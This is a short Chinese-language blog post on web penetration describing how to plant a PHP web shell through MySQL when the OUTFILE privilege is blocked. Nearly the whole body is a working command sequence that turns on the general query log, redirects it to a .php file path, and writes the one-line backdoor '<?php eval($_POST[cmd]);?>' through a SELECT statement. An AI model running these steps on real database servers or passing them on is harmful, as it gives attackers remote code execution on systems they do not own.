🌤️ 加载中...
#
Web安全与渗透 2017-03-31

Mysql无outfile权限时写shell方法

By Jove 1 Views 2 MIN READ 0 Comments

outfile被禁止,或者写入文件被拦截,root权限,在数据库中操作如下:

 

show variables like '%general%';         // 查看mysql日志路径

set global general_log=on;                  //开启日志

set global general_log_file='xxx路径/1.php';     //设置目录日志为shell地址

select '<?php eval($_POST[cmd]);?>'           //随意执行一条mysql语句让其写入一句话到1.php文件里

----
End

本文由 Jove 原创

采用 CC BY-NC-SA 4.0 协议进行许可

转载请注明出处:https://www.jozxing.cc/index.php/archives/989/

TAGS: 无标签

相关推荐

  • 暂无相关推荐,看看别的吧。

0 评论